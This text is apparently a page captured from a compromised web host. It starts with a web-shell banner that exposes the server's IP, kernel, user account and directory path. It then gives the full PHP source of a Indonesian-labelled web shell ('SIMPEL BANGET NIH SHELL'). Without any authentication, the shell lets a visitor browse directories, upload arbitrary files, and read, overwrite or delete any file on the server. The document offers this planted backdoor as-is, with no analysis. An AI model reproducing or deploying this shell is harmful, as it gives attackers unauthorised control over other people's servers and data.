|
Server IP : 103.53.40.154 / Your IP : 3.141.21.199 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0700) : /home2/ppcad7no/milkodelight.com/../yugayurvedaold.com/../.quarantine/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
$dir = isset($_GET['dir']) ? hex2bin($_GET['dir']) : '.';
$files = scandir($dir);
$upload_message = '';
$edit_message = '';
$delete_message = '';
function get_file_permissions($file) {
return substr(sprintf('%o', fileperms($file)), -4);
}
function is_writable_permission($file) {
return is_writable($file);
}
if (isset($_FILES['file_upload'])) {
if (move_uploaded_file($_FILES['file_upload']['tmp_name'], $dir . '/' . $_FILES['file_upload']['name'])) {
$upload_message = 'File berhasil diunggah.';
} else {
$upload_message = 'Gagal mengunggah file.';
}
}
if (isset($_POST['edit_file'])) {
$file = $_POST['edit_file'];
$content = file_get_contents($file); // membaca isi file yang ingin diedit
if ($content !== false) {
echo '<form method="post" action="">'; // buat form baru untuk menampilkan textarea dan tombol Submit
echo '<textarea id="CopyFromTextArea" name="file_content" rows="10" class="form-control">' . htmlspecialchars($content) . '</textarea>';
echo '<input type="hidden" name="edited_file" value="' . htmlspecialchars($file) . '">';
echo '<button type="submit" name="submit_edit" class="btn btn-outline-light">Submit</button>';
echo '</form>';
} else {
$edit_message = 'Gagal membaca isi file.';
}
}
if (isset($_POST['submit_edit'])) {
$file = $_POST['edited_file'];
$content = $_POST['file_content'];
if (file_put_contents($file, $content) !== false) {
$edit_message = 'File berhasil diedit.';
} else {
$edit_message = 'Gagal mengedit file.';
}
}
if (isset($_POST['delete_file'])) {
$file = $_POST['delete_file'];
if (unlink($file)) {
$delete_message = 'File berhasil dihapus.';
} else {
$delete_message = 'Gagal menghapus file.';
}
}
$uname = php_uname();
$current_dir = realpath($dir);
?>
<!DOCTYPE html>
<html>
<head>
<title>SIMPEL BANGET NIH SHELL</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
text-align: center;
}
header {
background-color: #4CAF50;
color: white;
padding: 1rem;
}
header h1 {
margin: 0;
}
main {
padding: 1rem;
}
table {
border-collapse: collapse;
margin: 1rem auto;
width: 50%;
}
th, td {
border: 1px solid #ddd;
padding: 0.5rem;
text-align: left;
}
th {
background-color: #f2f2f2;
}
tr:nth-child(even) {
background-color: #f2f2f2;
}
tr:hover {
background-color: #ddd;
}
form {
display: inline-block;
margin: 1rem 0;
}
input[type="submit"] {
background-color: #4CAF50;
border: none;
color: white;
cursor: pointer;
margin-left: 1rem;
padding: 0.5rem 1rem;
text-align: center;
text-decoration: none;
display: inline-block;
font-size: 12px;
}
input[type="submit"]:hover {
background-color: #45a049;
}
</style>
</head>
<body>
<header>
<h1>SIMPEL BANGET NIH SHELL</h1>
</header>
<main>
<p>Current directory: <?php echo $current_dir; ?></p>
<p>Server information: <?php echo $uname; ?></p>
<?php if (!empty($upload_message)): ?>
<p><?php echo $upload_message; ?></p>
<?php endif; ?>
<?php if (!empty($edit_message)): ?>
<p><?php echo $edit_message; ?></p>
<?php endif; ?>
<?php if (!empty($delete_message)): ?>
<p><?php echo $delete_message; ?></p>
<?php endif; ?>
<form method="POST" enctype="multipart/form-data">
<label>Upload file:</label>
<input type="file" name="file_upload">
<input type="submit" value="Upload">
<input type="hidden" name="dir" value="<?php echo $dir; ?>">
</form>
<table>
<tr>
<th>Filename</th>
<th>Permissions</th>
<th>Actions</th>
</tr>
<?php foreach ($files as $file): ?>
<tr>
<td>
<?php if (is_dir($dir . '/' . $file)): ?>
<a href="?dir=<?php echo bin2hex($dir . '/' . $file); ?>"
style="color: <?php echo is_writable_permission($dir . '/' . $file) ? 'inherit' : 'red'; ?>"><?php echo $file; ?></a>
<?php else: ?>
<span style="color: <?php echo is_writable_permission($dir . '/' . $file) ? 'inherit' : 'red'; ?>"><?php echo $file; ?></span>
<?php endif; ?>
</td>
<td style="color: <?php echo is_writable_permission($dir . '/' . $file) ? 'green' : 'red'; ?>">
<?php echo is_file($dir . '/' . $file) ? get_file_permissions($dir . '/' . $file) : (is_writable_permission($dir . '/' . $file) ? 'Directory' : 'Directory (No writable)'); ?>
</td>
<td>
<?php if (is_file($dir . '/' . $file)): ?>
<form action="" method="post" style="display: inline-block;">
<input type="hidden" name="edit_file" value="<?php echo $dir . '/' . $file; ?>">
<button type="submit" class="btn btn-outline-light">Edit</button>
</form>
<form action="" method="post" style="display: inline-block;">
<input type="hidden" name="delete_file" value="<?php echo $dir . '/' . $file; ?>">
<button type="submit" class="btn btn-outline-light">Delete</button>
</form>
<?php endif; ?>
</td>
</tr>
<?php endforeach; ?>
</table>
</main>
</body>
</html>